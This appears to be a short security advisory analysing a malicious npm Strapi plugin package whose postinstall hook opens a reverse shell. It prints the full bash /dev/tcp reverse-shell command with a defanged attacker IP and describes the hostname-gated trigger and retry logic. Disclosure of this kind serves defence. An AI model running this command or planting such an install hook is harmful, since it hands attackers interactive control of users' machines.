strapi-plugin-cccon-meeb@3.6.8

Analysis

The package's postinstall hook (postinstall.js) opens a reverse shell to a hardcoded remote host. On install it executes `bash -i >& /dev/tcp/14[.]225[.]210[.]85/80 0>&1`, giving the remote operator an interactive shell on the installing machine. The script retries the connection up to 5 times at 10-second intervals and only activates when the hostname matches 'ubuntu-fc-uvm', logging its activity to /tmp/postinstall-revshell.log. The package is a Strapi plugin that otherwise provides no functionality.